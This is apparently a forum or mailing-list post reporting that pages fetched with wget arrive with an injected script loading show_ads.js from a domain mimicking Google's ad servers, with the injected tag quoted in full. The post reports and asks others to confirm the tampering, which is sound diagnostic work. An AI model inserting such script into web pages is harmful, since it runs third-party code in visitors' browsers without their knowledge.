I did a simple wget test (no privoxy) and found fairly consistent insertions of 
adsense spam to stevepavlima.com regardless of the site I targeted (google.*, 
guardian.co.uk, irishtimes.com, cnn.com).

<script type="text/javascript">var 
externalscript="http://pagead2.googlesyndication.stevepavlima.com/show_ads.js"; 
document.write('<script type="text/javascript" src="'+externalscript+'?'+new 
Date() * 1+'"><\/script>');</script>

I found that using a regular browser the corruption appears infrequent (caching, 
browsers doing their best to make sense of gargabe), but the corruption is 
consistent using wget. Where there was no insertion of stevepavlima.com (which 
was rare) I just saw simple truncation.

Can anyone else confirm this?
